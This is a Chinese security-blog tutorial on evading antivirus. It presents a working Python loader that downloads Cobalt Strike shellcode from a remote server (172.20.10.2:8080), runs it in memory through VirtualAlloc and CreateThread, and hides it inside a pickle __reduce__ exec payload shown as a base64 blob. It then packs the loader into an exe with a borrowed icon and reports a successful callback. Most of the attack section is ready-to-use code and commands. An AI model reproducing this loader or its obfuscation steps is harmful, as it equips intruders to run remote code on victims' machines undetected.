原创 | BypassAv小技巧

  • A+
所属分类:安全文章
原创 | BypassAv小技巧
点击上方蓝字 关注我吧
原创 | BypassAv小技巧

0xx0前言

原创 | BypassAv小技巧

利用python进行bypass

文笔不好大家凑合着看把!!

原创 | BypassAv小技巧

0xx1开整

原创 | BypassAv小技巧

首先我们得用cobaltstrike生成一个python脚本的payload


原创 | BypassAv小技巧


然后复制里面的payload进行Base64编码

原创 | BypassAv小技巧


原创 | BypassAv小技巧


第二步把刚刚生成的Base64丢到服务器里面进行访问


原创 | BypassAv小技巧

能看到这个就说明没错
然后下一步 把地址复制 进行反序列化(重要!!)
import base64
shellcode = """import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://172.20.10.2:8080/1111.txt').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""

class A(object): def __reduce__(self): return (exec, (shellcode,))

ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)#ret_decode = base64.b64decode(ret_base64)


原创 | BypassAv小技巧


只需要把地址添加到红框里面即可 然后运行


原创 | BypassAv小技巧


运行之后我们会得到下面的反序列化的

原创 | BypassAv小技巧


我们把这串代码复制到此脚本进行生成
import base64,pickle,ctypes,urllib.requestshellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE3Mi4yMC4xMC4yOjgwODAvMTExMS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads(base64.b64decode(shellcode))


然后点击运行你会发现 在cs里面成功上线了一台机器


原创 | BypassAv小技巧


最后们利用pyinstaller这个脚本进行打包成exe
命令:pyinstaller -F 2.py --noconsole -i Ladon.ico --key 121212

原创 | BypassAv小技巧


原创 | BypassAv小技巧


生成完毕的exe在dist目录下
最后我们在测试一下能不能运行


原创 | BypassAv小技巧


成功上线


原创 | BypassAv小技巧

0xx2结束

原创 | BypassAv小技巧

附上几个截图


原创 | BypassAv小技巧


原创 | BypassAv小技巧


原创 | BypassAv小技巧


原创 | BypassAv小技巧
原创 | BypassAv小技巧
原创 | BypassAv小技巧

原创 | BypassAv小技巧
点分享
原创 | BypassAv小技巧
点收藏
原创 | BypassAv小技巧
点点赞
原创 | BypassAv小技巧
点在看

本文始发于微信公众号(SecIN技术平台):原创 | BypassAv小技巧

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: